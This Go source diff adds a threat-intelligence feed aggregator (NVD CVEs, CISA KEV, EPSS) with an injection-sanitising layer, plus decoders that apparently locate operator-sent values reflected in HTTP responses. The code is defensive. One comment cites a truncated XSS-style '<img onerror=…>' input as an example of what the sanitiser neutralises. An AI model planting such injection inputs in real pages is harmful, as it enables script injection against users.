off = append(off, int32(len(src)))
return out, off, changed
}
// readEntity reads one reference at the start of s, returning its bytes and the
// length consumed.
func readEntity(s []byte) ([]byte, int, bool) {
if len(s) < 3 {
return nil, 0, false
}
// Bound the scan: a reference longer than this is not one.
end := len(s)
if end > 34 {
end = 34
}
semi := bytes.IndexByte(s[:end], ';')
if s[1] == '#' {
j, base := 2, 10
if j < end && (s[j] == 'x' || s[j] == 'X') {
j, base = j+1, 16
}
k := j
for k < end && isDigitIn(s[k], base) {
k++
}
if k == j {
return nil, 0, false
}
n, err := strconv.ParseInt(string(s[j:k]), base, 32)
if err != nil || n <= 0 || n > 0x10FFFF {
return nil, 0, false
}
width := k
if k < end && s[k] == ';' {
width = k + 1
}
return []byte(string(rune(n))), width, true
}
if semi > 1 {
if b, ok := namedEntities[string(s[1:semi])]; ok {
return []byte{b}, semi + 1, true
}
}
// Semicolon-less named form, longest match first.
for n := 8; n >= 2; n-- {
if 1+n > len(s) {
continue
}
if b, ok := namedEntities[string(s[1:1+n])]; ok {
return []byte{b}, 1 + n, true
}
}
return nil, 0, false
}
func isDigitIn(c byte, base int) bool {
if base == 16 {
return isHex(c)
}
return c >= '0' && c <= '9'
}
// decodeJSString expands the backslash escapes a JavaScript or JSON string
// literal uses. It runs over the whole buffer rather than over located literals,
// because locating them first would need the parse this is feeding.
func decodeJSString(src []byte) ([]byte, []int32, bool) {
out := make([]byte, 0, len(src))
off := make([]int32, 0, len(src)+1)
changed := false
emit := func(bs []byte, at int) {
out = append(out, bs...)
for range bs {
off = append(off, int32(at))
}
}
for i := 0; i < len(src); i++ {
if src[i] != '\\' || i+1 >= len(src) {
out = append(out, src[i])
off = append(off, int32(i))
continue
}
c := src[i+1]
switch {
case c == 'x' && i+3 < len(src) && isHex(src[i+2]) && isHex(src[i+3]):
emit([]byte{unhex(src[i+2])<<4 | unhex(src[i+3])}, i)
i += 3
changed = true
case c == 'u' && i+5 < len(src) && allHex(src[i+2:i+6]):
n, _ := strconv.ParseInt(string(src[i+2:i+6]), 16, 32)
emit([]byte(string(rune(n))), i)
i += 5
changed = true
case c == 'n':
emit([]byte{'\n'}, i)
i++
changed = true
case c == 'r':
emit([]byte{'\r'}, i)
i++
changed = true
case c == 't':
emit([]byte{'\t'}, i)
i++
changed = true
case strings.IndexByte(`"'\/`, c) >= 0:
emit([]byte{c}, i)
i++
changed = true
default:
out = append(out, src[i])
off = append(off, int32(i))
}
}
off = append(off, int32(len(src)))
return out, off, changed
}
func allHex(b []byte) bool {
for _, c := range b {
if !isHex(c) {
return false
}
}
return true
}
// minBase64Run is the shortest run worth decoding: 16 characters carry 12
// bytes, below which a "value" is too short to have been worth sending.
const minBase64Run = 16
func isB64Byte(c byte) bool {
return c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c >= '0' && c <= '9' ||
c == '+' || c == '/' || c == '_' || c == '-'
}
// base64Runs locates candidate blobs. This is a byte scan rather than a regular
// expression because it runs over every response body: the equivalent pattern
// costs more than the rest of the analysis put together.
func base64Runs(src []byte) [][2]int {
var out [][2]int
for i := 0; i < len(src); {
if !isB64Byte(src[i]) {
i++
continue
}
j := i
for j < len(src) && isB64Byte(src[j]) {
j++
}
end := j
for end < len(src) && src[end] == '=' && end-j < 2 {
end++
}
if j-i >= minBase64Run {
out = append(out, [2]int{i, end})
if len(out) >= maxBase64Runs {
return out
}
}
i = end
if i == j && i < len(src) {
i++
}
}
return out
}
// maxBase64Runs bounds the per-response run count. A page of image data URIs
// would otherwise turn one response into thousands of views.
const maxBase64Runs = 256
// base64Views decodes each base64-shaped run into a view of its own, with
// offsets pointing back into that run. Decoding located runs rather than
// encoding the needle is what makes this exact: an encoded value's spelling
// depends on its offset within the blob, so a needle-side search would have to
// try every alignment and still could not report where the match landed.
func base64Views(src []byte) []view {
locs := base64Runs(src)
if len(locs) == 0 {
return nil
}
views := make([]view, 0, len(locs))
for _, loc := range locs {
run := src[loc[0]:loc[1]]
dec, ok := decodeBase64(run)
if !ok || len(dec) < 3 || !looksDecodable(dec) {
continue
}
// Every decoded byte maps to the start of the group that produced it;
// three source characters per four decoded bytes is close enough to
// point an operator at the right place in the blob.
off := make([]int32, len(dec)+1)
for i := range dec {
off[i] = int32(loc[0] + i/3*4)
}
off[len(dec)] = int32(loc[1])
views = append(views, view{kind: TransformBase64, b: dec, off: off})
}
return views
}
func decodeBase64(run []byte) ([]byte, bool) {
s := strings.TrimRight(string(run), "=")
if strings.ContainsAny(s, "-_") {
if d, err := base64.RawURLEncoding.DecodeString(s); err == nil {
return d, true
}
return nil, false
}
if d, err := base64.RawStdEncoding.DecodeString(s); err == nil {
return d, true
}
return nil, false
}
// looksDecodable rejects a run that decoded to binary. Any long alphanumeric
// token decodes to something; only a printable result is a value an operator
// sent.
func looksDecodable(b []byte) bool {
printable := 0
for _, c := range b {
if c == 0 {
return false
}
if c >= 0x20 && c < 0x7f || c == '\t' || c == '\n' || c == '\r' {
printable++
}
}
return printable*4 >= len(b)*3
}
+198
View File
@@ -0,0 +1,198 @@
package feeds
import (
"context"
"sort"
"sync"
"time"
)
// FetchFunc performs a bounded GET and returns the body. Injected by the api layer so this
// package never imports internal/proxy; the implementation verifies TLS, follows no
// redirects, honors the operator's SOCKS dialer, and reads at most limitBytes.
type FetchFunc func(ctx context.Context, url string, limitBytes int64) ([]byte, error)
// perCategoryCap bounds how many items each category retains after a merge, so the rolling
// cache (and the snapshot the UI holds) stays a fixed, small size.
var perCategoryCap = map[Category]int{
CategoryCVE: 60,
CategoryKEV: 100,
CategoryHeadline: 60,
}
// Aggregator holds the rolling, thread-safe snapshot and refreshes it from its sources.
//
// Refresh merges new items into a per-category rolling set rather than replacing it, so a
// 24-hour NVD window accumulates and a source that fails on one tick keeps its last-known
// items (only its SourceStatus goes stale). That "never blank the cache" rule is why the UI
// can show "stale since X" instead of an empty panel.
type Aggregator struct {
mu sync.RWMutex
sources []Source
fetch FetchFunc
items map[Category][]Item
status map[string]SourceStatus
lastRun time.Time
generated time.Time
}
func NewAggregator(sources []Source, fetch FetchFunc) *Aggregator {
a := &Aggregator{
sources: sources,
fetch: fetch,
items: map[Category][]Item{},
status: map[string]SourceStatus{},
}
for _, s := range sources {
a.status[s.ID] = SourceStatus{ID: s.ID, Name: s.Name, Category: s.Category}
}
return a
}
// Refresh fetches every source whose category is wanted (nil means all), sequentially so
// total egress stays a trickle, and returns the resulting snapshot. Safe to call
// concurrently with Snapshot and the HTTP handlers.
func (a *Aggregator) Refresh(ctx context.Context, want map[Category]bool) Snapshot {
a.markRun()
for _, src := range a.sources {
if ctx.Err() != nil {
break
}
if want != nil && !want[src.Category] {
continue
}
items, err := src.collect(ctx, a.fetch)
a.applyResult(src, items, err)
}
a.mu.Lock()
a.generated = time.Now().UTC()
a.mu.Unlock()
a.recomputeKEVCrossLinks()
// Enrich CVE + KEV items with EPSS scores (a clean join on the validated CVE id). Best
// effort: a failure leaves the existing items unscored rather than failing the refresh.
a.enrichEPSS(ctx)
return a.Snapshot()
}
// markRun stamps the start of a run so a manual refresh is debounced against it immediately,
// before the (asynchronous) work begins.
func (a *Aggregator) markRun() {
a.mu.Lock()
a.lastRun = time.Now().UTC()
a.mu.Unlock()
}
// TryBeginManual reports whether a manual refresh is allowed now, stamping the run clock when
// it is so two rapid clicks cannot both pass. The periodic loop uses Refresh directly.
func (a *Aggregator) TryBeginManual(min time.Duration) bool {
a.mu.Lock()
defer a.mu.Unlock()
if !a.lastRun.IsZero() && time.Since(a.lastRun) < min {
return false
}
a.lastRun = time.Now().UTC()
return true
}
func (a *Aggregator) applyResult(src Source, items []Item, err error) {
a.mu.Lock()
defer a.mu.Unlock()
st := a.status[src.ID]
st.LastAttempt = time.Now().UTC()
if err != nil {
// Keep-last-known: leave a.items[category] untouched and only mark the source stale.
st.LastError = sanitizeText(err.Error(), maxError)
st.Stale = true
a.status[src.ID] = st
return
}
// Stamp the trusted source name and category over anything the parser set, then merge.
for i := range items {
items[i].Source = src.Name
items[i].Category = src.Category
}
merged := mergeItems(a.items[src.Category], items, perCategoryCap[src.Category])
a.items[src.Category] = merged
st.LastError = ""
st.LastSuccess = st.LastAttempt
st.Stale = false
st.ItemCount = countBySource(merged, src.Name)
a.status[src.ID] = st
}
// recomputeKEVCrossLinks flags CVE-ticker items that also appear in the KEV catalog, joining
// only on the validated CVE id (a scalar), never on any feed content.
func (a *Aggregator) recomputeKEVCrossLinks() {
a.mu.Lock()
defer a.mu.Unlock()
inKEV := make(map[string]bool, len(a.items[CategoryKEV]))
for _, k := range a.items[CategoryKEV] {
inKEV[k.ID] = true
}
for i := range a.items[CategoryCVE] {
a.items[CategoryCVE][i].AlsoInKEV = inKEV[a.items[CategoryCVE][i].ID]
}
}
// Snapshot returns a deep copy of the current state. All three category keys are always
// present (possibly empty arrays) so the client never indexes nil.
func (a *Aggregator) Snapshot() Snapshot {
a.mu.RLock()
defer a.mu.RUnlock()
items := make(map[Category][]Item, len(allCategories))
for _, cat := range allCategories {
list := a.items[cat]
cp := make([]Item, len(list))
copy(cp, list)
items[cat] = cp
}
sources := make([]SourceStatus, 0, len(a.sources))
for _, src := range a.sources {
sources = append(sources, a.status[src.ID])
}
return Snapshot{Items: items, Sources: sources, GeneratedAt: a.generated}
}
// mergeItems folds incoming items into existing ones, deduping by id (incoming wins),
// sorting newest-first, and capping the result.
func mergeItems(existing, incoming []Item, cap int) []Item {
byID := make(map[string]Item, len(existing)+len(incoming))
order := make([]string, 0, len(existing)+len(incoming))
add := func(it Item) {
if it.ID == "" {
return
}
if _, ok := byID[it.ID]; !ok {
order = append(order, it.ID)
}
byID[it.ID] = it
}
for _, it := range existing {
add(it)
}
for _, it := range incoming {
add(it)
}
out := make([]Item, 0, len(order))
for _, id := range order {
out = append(out, byID[id])
}
sort.SliceStable(out, func(i, j int) bool {
return out[i].Published.After(out[j].Published)
})
if cap > 0 && len(out) > cap {
out = out[:cap]
}
return out
}
func countBySource(items []Item, name string) int {
n := 0
for _, it := range items {
if it.Source == name {
n++
}
}
return n
}
+134
View File
@@ -0,0 +1,134 @@
package feeds
import (
"context"
"encoding/json"
"fmt"
"maps"
"net/url"
"strconv"
"strings"
)
// EPSS (Exploit Prediction Scoring System, FIRST.org): the probability a CVE will be
// exploited in the next 30 days. It joins cleanly onto the CVE and KEV sets by CVE id, so it
// is an enrichment rather than a category — no panel of its own, just a score on existing
// items. One API query per chunk per refresh; a failure leaves items unscored.
//
// The query is built from ids that already passed cleanCVEID, via url.Values, so nothing a
// feed supplied can inject a parameter or path into the request.
const (
epssBaseURL = "https://api.first.org/data/v1/epss"
epssLimit = 2 << 20
epssChunkSize = 100
)
type epssResponse struct {
Data []epssDatum `json:"data"`
}
type epssDatum struct {
CVE string `json:"cve"`
EPSS string `json:"epss"` // a decimal string, e.g. "0.00123"
}
// enrichEPSS fetches EPSS scores for the current CVE + KEV items and sets Item.EPSS.
func (a *Aggregator) enrichEPSS(ctx context.Context) {
ids := a.epssCandidates()
if len(ids) == 0 {
return
}
scores := make(map[string]float64, len(ids))
for _, chunk := range chunkStrings(ids, epssChunkSize) {
if ctx.Err() != nil {
return
}
m, err := a.fetchEPSS(ctx, chunk)
if err != nil {
continue // best effort; keep whatever other chunks returned
}
maps.Copy(scores, m)
}
if len(scores) > 0 {
a.applyEPSS(scores)
}
}
// epssCandidates returns the unique validated CVE ids currently held in the CVE and KEV sets.
func (a *Aggregator) epssCandidates() []string {
a.mu.RLock()
defer a.mu.RUnlock()
seen := map[string]bool{}
var ids []string
for _, cat := range []Category{CategoryCVE, CategoryKEV} {
for _, it := range a.items[cat] {
if id, ok := cleanCVEID(it.ID); ok && !seen[id] {
seen[id] = true
ids = append(ids, id)
}
}
}
return ids
}
func (a *Aggregator) fetchEPSS(ctx context.Context, ids []string) (map[string]float64, error) {
q := url.Values{}
q.Set("cve", strings.Join(ids, ","))
q.Set("pretty", "false")
raw, err := a.fetch(ctx, epssBaseURL+"?"+q.Encode(), epssLimit)
if err != nil {
return nil, err
}
var resp epssResponse
if err := json.Unmarshal(raw, &resp); err != nil {
return nil, fmt.Errorf("parsing EPSS response: %w", err)
}
out := make(map[string]float64, len(resp.Data))
for _, d := range resp.Data {
id, ok := cleanCVEID(d.CVE)
if !ok {
continue
}
if v, err := strconv.ParseFloat(strings.TrimSpace(d.EPSS), 64); err == nil {
out[id] = clampUnit(v)
}
}
return out, nil
}
// applyEPSS writes scores onto the matching CVE + KEV items in place.
func (a *Aggregator) applyEPSS(scores map[string]float64) {
a.mu.Lock()
defer a.mu.Unlock()
for _, cat := range []Category{CategoryCVE, CategoryKEV} {
list := a.items[cat]
for i := range list {
if s, ok := scores[list[i].ID]; ok {
list[i].EPSS = s
}
}
}
}
func clampUnit(v float64) float64 {
switch {
case v < 0:
return 0
case v > 1:
return 1
default:
return v
}
}
func chunkStrings(s []string, n int) [][]string {
if n <= 0 || len(s) <= n {
return [][]string{s}
}
var out [][]string
for i := 0; i < len(s); i += n {
out = append(out, s[i:min(i+n, len(s))])
}
return out
}
+54
View File
@@ -0,0 +1,54 @@
package feeds
import (
"encoding/json"
"fmt"
"strings"
)
// CISA Known Exploited Vulnerabilities catalog: one JSON file, no auth. It is the most
// actionable feed — every entry is a vulnerability being exploited in the wild. The file is
// a couple of megabytes and grows monotonically, which is why its read cap (kevLimit) is far
// above the updater's 1 MB: a truncated file would fail to parse forever.
type kevFile struct {
Vulnerabilities []kevVuln `json:"vulnerabilities"`
}
type kevVuln struct {
CVEID string `json:"cveID"`
VendorProject string `json:"vendorProject"`
Product string `json:"product"`
VulnerabilityName string `json:"vulnerabilityName"`
DateAdded string `json:"dateAdded"`
ShortDescription string `json:"shortDescription"`
KnownRansomware string `json:"knownRansomwareCampaignUse"`
}
// parseKEV normalizes the KEV catalog, newest additions first (sorting happens in the
// aggregator). The URL is derived from the cleaned CVE id, never taken from the file.
func parseKEV(raw []byte) ([]Item, error) {
var f kevFile
if err := json.Unmarshal(raw, &f); err != nil {
return nil, fmt.Errorf("parsing KEV catalog: %w", err)
}
items := make([]Item, 0, len(f.Vulnerabilities))
for _, v := range f.Vulnerabilities {
id, ok := cleanCVEID(v.CVEID)
if !ok {
continue
}
items = append(items, Item{
Category: CategoryKEV,
ID: id,
Title: sanitizeText(v.VulnerabilityName, maxTitle),
Summary: sanitizeText(v.ShortDescription, maxSummary),
Vendor: sanitizeText(v.VendorProject, maxVendor),
Product: sanitizeText(v.Product, maxProduct),
Ransomware: strings.EqualFold(strings.TrimSpace(v.KnownRansomware), "Known"),
URL: nvdCanonicalURL(id),
Published: normalizeTime(parseKEVDate(v.DateAdded)),
})
}
return items, nil
}
+76
View File
@@ -0,0 +1,76 @@
// Package feeds aggregates curated external threat-intelligence sources (high-severity
// CVEs, the CISA KEV catalog, and reputable security advisory headlines) into a single
// normalized, in-memory snapshot the dashboard renders.
//
// It is a leaf package: it imports only the standard library and internal/atomicfile. The
// HTTP client is injected as a FetchFunc, the same way internal/webhook receives its client
// factory, so this package never reaches internal/proxy and stays supply-chain clean.
//
// Feed bytes are untrusted and are data, never instructions. Two guarantees keep that true:
// - normalize.go is the firewall every value crosses before it reaches the snapshot: it
// emerges a bounded, validated scalar (see that file's doc comment). This stops
// browser-side content injection — the UI's origin is fully privileged.
// - Nothing read off the wire reaches a code-execution sink. This package must never import
// os/exec, text/template, html/template, database/sql, internal/localcmd, or
// internal/jsruntime; no feed-derived string is ever a format argument; the one
// feed-derived outbound URL (EPSS) is built from already-validated CVE ids; and only the
// operator's settings — never feed content — are written to disk. That is what makes feed
// ingestion safe against server-side command/template/SQL injection.
package feeds
import "time"
// Category groups items by what they are, which is also how the dashboard lays them out.
type Category string
const (
CategoryCVE Category = "cve" // high-severity CVEs (the ticker)
CategoryKEV Category = "kev" // CISA Known Exploited Vulnerabilities
CategoryHeadline Category = "headline" // curated advisory/news headlines
)
// allCategories is the full set, in display order. Snapshot always carries every key.
var allCategories = []Category{CategoryCVE, CategoryKEV, CategoryHeadline}
// Item is one normalized feed entry. Every field is a bounded scalar that has passed
// normalize.go: strings are length-capped plain UTF-8 with no control/BiDi/zero-width
// runes, Severity is an enum, Score is in [0,10], and URL is an https link on a known host
// (or empty). No []byte, json.RawMessage, or interface value ever reaches this struct, so
// the frontend can render every field as an auto-escaped React text node.
type Item struct {
Category Category `json:"category"`
ID string `json:"id"` // CVE id, or a derived hash for a headline
Title string `json:"title"` // short, plain text
Summary string `json:"summary,omitempty"` // plain text; never a feed's HTML body
Vendor string `json:"vendor,omitempty"` // "" means unknown
Product string `json:"product,omitempty"` //
Severity string `json:"severity,omitempty"` // "HIGH" | "CRITICAL" only
Score float64 `json:"score,omitempty"` // CVSS base score, [0,10]
EPSS float64 `json:"epss,omitempty"` // EPSS probability of exploitation, [0,1]
Ransomware bool `json:"ransomware,omitempty"` // KEV: known ransomware-campaign use
AlsoInKEV bool `json:"alsoInKEV,omitempty"` // a CVE that also appears in the KEV catalog
URL string `json:"url,omitempty"` // validated https, or "" (render as text)
Source string `json:"source"` // the registry's display name, never feed bytes
Published time.Time `json:"published"`
}
// SourceStatus reports how one source's last fetch went, so the UI can show "stale since X"
// rather than silently presenting old data as current.
type SourceStatus struct {
ID string `json:"id"`
Name string `json:"name"`
Category Category `json:"category"`
LastAttempt time.Time `json:"lastAttempt"`
LastSuccess time.Time `json:"lastSuccess"`
LastError string `json:"lastError,omitempty"` // sanitized, capped
ItemCount int `json:"itemCount"`
Stale bool `json:"stale"` // last attempt failed since the last success
}
// Snapshot is the whole aggregated state the API returns and the UI renders. Items always
// carries all three category keys (possibly empty arrays) so the client never indexes nil.
type Snapshot struct {
Items map[Category][]Item `json:"items"`
Sources []SourceStatus `json:"sources"`
GeneratedAt time.Time `json:"generatedAt"`
}
+250
View File
@@ -0,0 +1,250 @@
package feeds
import (
"crypto/sha256"
"encoding/hex"
"net/url"
"regexp"
"strings"
"time"
"unicode"
"unicode/utf8"
)
// normalize.go is the injection firewall.
//
// Feed bytes are untrusted and the UI origin is fully privileged, so nothing reaches an Item
// except through one of these functions. The contract each enforces:
//
// - sanitizeText: bounded plain UTF-8, whitespace collapsed, every control / BiDi-override
// / zero-width / non-printable rune dropped. This is what lets the frontend render a value
// as a text node without escaping surprises — a hostile "<img onerror=…>" lands as literal
// text, and a "‮" right-to-left override cannot reorder a line.
// - cleanCVEID: a CVE id or nothing. Everything CVE-derived is gated on it, and a canonical
// URL is *built* from the cleaned id rather than trusted from the feed.
// - validateURL: https on an allow-listed host, or "" (meaning "render as text, no link").
// Used only for headline links, where no canonical URL can be derived.
// - the enum/clamp helpers: Severity is HIGH|CRITICAL or "", Score is clamped to [0,10],
// a future Published is clamped to now.
const (
maxID = 64
maxTitle = 300
maxSummary = 1000
maxVendor = 128
maxProduct = 128
maxSource = 64
maxURL = 512
maxError = 256
)
var cveIDPattern = regexp.MustCompile(`^CVE-\d{4}-\d{4,}$`)
// sanitizeText scrubs and bounds a string decoded by encoding/json or encoding/xml.
//
// Whitespace (any Unicode space, including tab/newline/NBSP) collapses to a single ASCII
// space; every other non-printable rune — C0/C1 controls, zero-width marks, BiDi overrides,
// invalid UTF-8 — is dropped. The result is trimmed and truncated on a rune boundary.
func sanitizeText(s string, max int) string {
if s == "" {
return ""
}
var b strings.Builder
b.Grow(len(s))
lastSpace := false
for _, r := range s {
switch {
case r == utf8.RuneError:
continue // invalid byte sequence
case unicode.IsSpace(r):
if !lastSpace {
b.WriteByte(' ')
lastSpace = true
}
case !unicode.IsPrint(r):
continue // controls, zero-width, BiDi overrides (all category C)
default:
b.WriteRune(r)
lastSpace = false
}
}
return truncateRunes(strings.TrimSpace(b.String()), max)
}
// truncateRunes caps a string to max runes, appending an ellipsis when it cuts.
func truncateRunes(s string, max int) string {
if max <= 0 {
return ""
}
runes := []rune(s)
if len(runes) <= max {
return s
}
if max == 1 {
return "…"
}
return strings.TrimSpace(string(runes[:max-1])) + "…"
}
// cleanCVEID returns the canonical upper-cased CVE id, or ("", false) for anything that is
// not one. The gate for every CVE- and KEV-derived value.
func cleanCVEID(s string) (string, bool) {
id := strings.ToUpper(strings.TrimSpace(s))
if len(id) > maxID || !cveIDPattern.MatchString(id) {
return "", false
}
return id, true
}
// nvdCanonicalURL builds the authoritative detail URL from an already-cleaned CVE id. The
// feed's own link/reference fields are never used for CVE or KEV items, so a feed cannot
// smuggle a hostile URL in through them.
func nvdCanonicalURL(id string) string {
return "https://nvd.nist.gov/vuln/detail/" + id
}
// validateURL accepts an https link whose host is on allow, stripped to scheme+host+path.
// Anything else — a non-https scheme (javascript:, data:, http:), userinfo, a non-443 port,
// an off-list host, an unparseable or over-long value — returns ("", false), which callers
// treat as "no link, render the title as plain text".
func validateURL(raw string, allow []string) (string, bool) {
raw = strings.TrimSpace(raw)
if raw == "" || len(raw) > maxURL {
return "", false
}
u, err := url.Parse(raw)
if err != nil {
return "", false
}
if !strings.EqualFold(u.Scheme, "https") || u.User != nil {
return "", false
}
if p := u.Port(); p != "" && p != "443" {
return "", false
}
host := strings.ToLower(u.Hostname())
if host == "" || !hostAllowed(host, allow) {
return "", false
}
clean := url.URL{Scheme: "https", Host: host, Path: u.EscapedPath()}
out := clean.String()
if len(out) > maxURL {
return "", false
}
return out, true
}
// hostAllowed reports whether host equals or is a subdomain of an allow-list entry.
func hostAllowed(host string, allow []string) bool {
for _, a := range allow {
a = strings.ToLower(strings.TrimSpace(a))
if a == "" {
continue
}
if host == a || strings.HasSuffix(host, "."+a) {
return true
}
}
return false
}
// headlineID derives a stable id for a headline from its source and link, so the same
// article dedups across refreshes without trusting any id the feed supplies.
func headlineID(source, link string) string {
sum := sha256.Sum256([]byte(source + "|" + link))
return hex.EncodeToString(sum[:])[:32]
}
// cleanSeverity passes only the two buckets at or above our floor; everything else is "".
func cleanSeverity(s string) string {
switch strings.ToUpper(strings.TrimSpace(s)) {
case "HIGH":
return "HIGH"
case "CRITICAL":
return "CRITICAL"
default:
return ""
}
}
// deriveSeverity buckets a score when a feed gives none (e.g. CVSS v2). Returns "" below the
// HIGH floor, which the score filter rejects anyway.
func deriveSeverity(score float64) string {
switch {
case score >= 9.0:
return "CRITICAL"
case score >= 7.0:
return "HIGH"
default:
return ""
}
}
// clampScore bounds a CVSS score into the valid range.
func clampScore(s float64) float64 {
switch {
case s < 0:
return 0
case s > 10:
return 10
default:
return s
}
}
// normalizeTime returns t in UTC, clamping a future timestamp to now so one mis-stamped item
// cannot dominate a newest-first sort.
func normalizeTime(t time.Time) time.Time {
if t.IsZero() {
return t
}
now := time.Now().UTC()
if t.After(now) {
return now
}
return t.UTC()
}
func parseNVDTime(s string) time.Time {
for _, layout := range []string{
"2006-01-02T15:04:05.000",
"2006-01-02T15:04:05",
time.RFC3339Nano,
time.RFC3339,
} {
if t, err := time.Parse(layout, strings.TrimSpace(s)); err == nil {
return t.UTC()
}
}
return time.Time{}
}
func parseKEVDate(s string) time.Time {
if t, err := time.Parse("2006-01-02", strings.TrimSpace(s)); err == nil {
return t.UTC()
}
return time.Time{}
}
func parseFeedTime(s string) time.Time {
s = strings.TrimSpace(s)
for _, layout := range []string{
time.RFC1123Z, time.RFC1123, time.RFC3339Nano, time.RFC3339, time.RFC822Z, time.RFC822,
// Weekday + two-digit year variants (CISA's all.xml uses "Tue, 13 Oct 26 12:00:00 +0000").
"Mon, 02 Jan 06 15:04:05 -0700",
"Mon, 02 Jan 06 15:04:05 MST",
} {
if t, err := time.Parse(layout, s); err == nil {
return t.UTC()
}
}
return time.Time{}
}
func firstNonEmpty(vals ...string) string {
for _, v := range vals {
if strings.TrimSpace(v) != "" {
return v
}
}
return ""
}
+255
View File
@@ -0,0 +1,255 @@
package feeds
import (
"context"
"encoding/json"
"fmt"
"net/url"
"strings"
"time"
)
// NVD CVE API 2.0 (https://services.nvd.nist.gov/rest/json/cves/2.0).
//
// The unauthenticated rate limit is 5 requests / 30s, so nvdCollect makes just two requests
// per refresh — one for CRITICAL, one for HIGH — over a 24-hour publication window, paced 6s
// apart. The window is wider than the 15-minute refresh so the ticker has depth and a missed
// tick self-heals; the aggregator's rolling cache dedups by CVE id. The API buckets only by
// severity, so the 7.5 floor is applied here.
// nvdCollect fetches recent high-severity CVEs and parses them into normalized items.
func nvdCollect(ctx context.Context, fetch FetchFunc) ([]Item, error) {
end := time.Now().UTC()
start := end.Add(-24 * time.Hour)
var items []Item
var firstErr error
for i, sev := range []string{"CRITICAL", "HIGH"} {
if i > 0 {
select {
case <-ctx.Done():
return items, ctx.Err()
case <-time.After(6 * time.Second): // stay well under 5 req / 30s
}
}
got, err := nvdFetchSeverity(ctx, fetch, sev, start, end)
if err != nil {
if firstErr == nil {
firstErr = err
}
continue
}
items = append(items, got...)
}
// Only surface an error when nothing came back at all; a partial result (one severity
// succeeded) is better than blanking the category.
if len(items) == 0 && firstErr != nil {
return nil, firstErr
}
return items, nil
}
func nvdFetchSeverity(ctx context.Context, fetch FetchFunc, severity string, start, end time.Time) ([]Item, error) {
const nvdTimeLayout = "2006-01-02T15:04:05.000"
q := url.Values{}
q.Set("cvssV3Severity", severity)
q.Set("pubStartDate", start.Format(nvdTimeLayout))
q.Set("pubEndDate", end.Format(nvdTimeLayout))
q.Set("resultsPerPage", "2000") // a day of high-sev CVEs fits in one page
raw, err := fetch(ctx, nvdBaseURL+"?"+q.Encode(), nvdLimit)
if err != nil {
return nil, err
}
return parseNVD(raw)
}
type nvdResponse struct {
Vulnerabilities []nvdVuln `json:"vulnerabilities"`
}
type nvdVuln struct {
CVE nvdCVE `json:"cve"`
}
type nvdCVE struct {
ID string `json:"id"`
Published string `json:"published"`
Descriptions []nvdLangString `json:"descriptions"`
Metrics nvdMetrics `json:"metrics"`
Configurations []nvdConfig `json:"configurations"`
Affected []nvdAffected `json:"affected"`
}
type nvdLangString struct {
Lang string `json:"lang"`
Value string `json:"value"`
}
type nvdMetrics struct {
V31 []nvdCVSSMetric `json:"cvssMetricV31"`
V30 []nvdCVSSMetric `json:"cvssMetricV30"`
V2 []nvdCVSSMetric `json:"cvssMetricV2"`
}
type nvdCVSSMetric struct {
Type string `json:"type"` // "Primary" | "Secondary"
CVSSData struct {
BaseScore float64 `json:"baseScore"`
BaseSeverity string `json:"baseSeverity"` // absent on v2
} `json:"cvssData"`
}
type nvdConfig struct {
Nodes []nvdNode `json:"nodes"`
}
type nvdNode struct {
CPEMatch []nvdCPEMatch `json:"cpeMatch"`
}
type nvdCPEMatch struct {
Criteria string `json:"criteria"`
}
// nvdAffected is the CNA-provided affected-products block NVD 2.0 carries even before it
// runs its own CPE analysis — the real affected vendor/product for a freshly published CVE.
type nvdAffected struct {
AffectedData []nvdAffectedData `json:"affectedData"`
}
type nvdAffectedData struct {
Vendor string `json:"vendor"`
Product string `json:"product"`
}
// parseNVD normalizes an NVD response, keeping only CVEs scoring >= 7.5.
func parseNVD(raw []byte) ([]Item, error) {
var resp nvdResponse
if err := json.Unmarshal(raw, &resp); err != nil {
return nil, fmt.Errorf("parsing NVD response: %w", err)
}
items := make([]Item, 0, len(resp.Vulnerabilities))
for _, v := range resp.Vulnerabilities {
id, ok := cleanCVEID(v.CVE.ID)
if !ok {
continue
}
score, severity, ok := nvdScore(v.CVE.Metrics)
if !ok || score < 7.5 {
continue
}
vendor, product := nvdVendorProduct(v.CVE)
items = append(items, Item{
Category: CategoryCVE,
ID: id,
Title: sanitizeText(nvdDescription(v.CVE.Descriptions), maxTitle),
Vendor: sanitizeText(vendor, maxVendor),
Product: sanitizeText(product, maxProduct),
Severity: severity,
Score: score,
URL: nvdCanonicalURL(id),
Published: normalizeTime(parseNVDTime(v.CVE.Published)),
})
}
return items, nil
}
// nvdScore picks the base score and severity, preferring CVSS v3.1, then v3.0, then v2. A v2
// metric has no severity bucket, so it is derived from the score.
func nvdScore(m nvdMetrics) (float64, string, bool) {
if s, sev, ok := pickCVSS(m.V31); ok {
return s, sev, true
}
if s, sev, ok := pickCVSS(m.V30); ok {
return s, sev, true
}
for _, e := range m.V2 {
sc := clampScore(e.CVSSData.BaseScore)
return sc, deriveSeverity(sc), true
}
return 0, "", false
}
func pickCVSS(metrics []nvdCVSSMetric) (float64, string, bool) {
if len(metrics) == 0 {
return 0, "", false
}
chosen := metrics[0]
for _, e := range metrics {
if strings.EqualFold(e.Type, "Primary") {
chosen = e
break
}
}
score := clampScore(chosen.CVSSData.BaseScore)
sev := cleanSeverity(chosen.CVSSData.BaseSeverity)
if sev == "" {
sev = deriveSeverity(score)
}
return score, sev, true
}
// nvdVendorProduct reads the affected vendor/product, preferring NVD's analyzed CPE and
// falling back to the CNA-provided affected-products block.
//
// CPE first: it is NVD-normalized (so the vendor/product align with the CPE strings Target
// Exposure correlates against) but a freshly published CVE — the ticker's 24h window — usually
// has none yet. For those, `cve.affected[].affectedData[]` carries the real affected vendor
// (e.g. "printcart"), which NVD includes in the same response, so no extra request is needed.
// This is the affected vendor, not the CNA that assigned the CVE (that would be "wordfence" /
// "vulncheck" — wrong). "" (shown as no vendor) only when a CVE has neither, which is rare.
func nvdVendorProduct(c nvdCVE) (string, string) {
for _, cfg := range c.Configurations {
for _, node := range cfg.Nodes {
for _, m := range node.CPEMatch {
if v, p, ok := cpeVendorProduct(m.Criteria); ok {
return v, p
}
}
}
}
for _, a := range c.Affected {
for _, ad := range a.AffectedData {
if v := strings.TrimSpace(ad.Vendor); v != "" && !strings.EqualFold(v, "n/a") {
return v, strings.TrimSpace(ad.Product)
}
}
}
return "", ""
}
// cpeVendorProduct parses the vendor and product out of a CPE 2.3 formatted string
// (cpe:2.3:a:vendor:product:version:...). Returns ok=false for anything not in that shape.
func cpeVendorProduct(criteria string) (vendor, product string, ok bool) {
parts := strings.Split(criteria, ":")
